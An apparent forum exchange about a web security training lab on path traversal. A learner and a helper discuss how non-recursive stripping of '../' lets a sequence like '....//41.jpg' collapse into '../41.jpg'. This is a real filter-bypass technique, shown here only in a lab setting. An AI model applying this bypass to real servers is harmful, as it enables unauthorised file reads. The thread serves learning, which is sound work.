stripping of lab "File path traversal, traversal sequences stripped non-recursively"
I was wondering how the stripping worked on the lab indicated in the subject. … =41.jpg" given that the stripping is non-recursive. … Same for "..//41.jpg". … do not understand why "....//41.jpg" doesn't work. … I assume the server processes ../41.jpg because only the 3rd & 4th dot and 1 / are stripped.
you mean that at the beginning and the end of the sequence nothing in stripped ? … then why would "/41.jpg" work like "41.jpg" as well as "../41.jpg" ?
I'm a bit confused :/
Hi
With the examples you have given, "/41.jpg" and "../41.jpg" details would be stripped so that you … are left with 41.jpg and so the image can be returned. … If you used a sequence such as ....//41.jpg, once ../ has been stripped, you would still be left with … ../41.jpg which would then look in a different folder and fail to find the image.
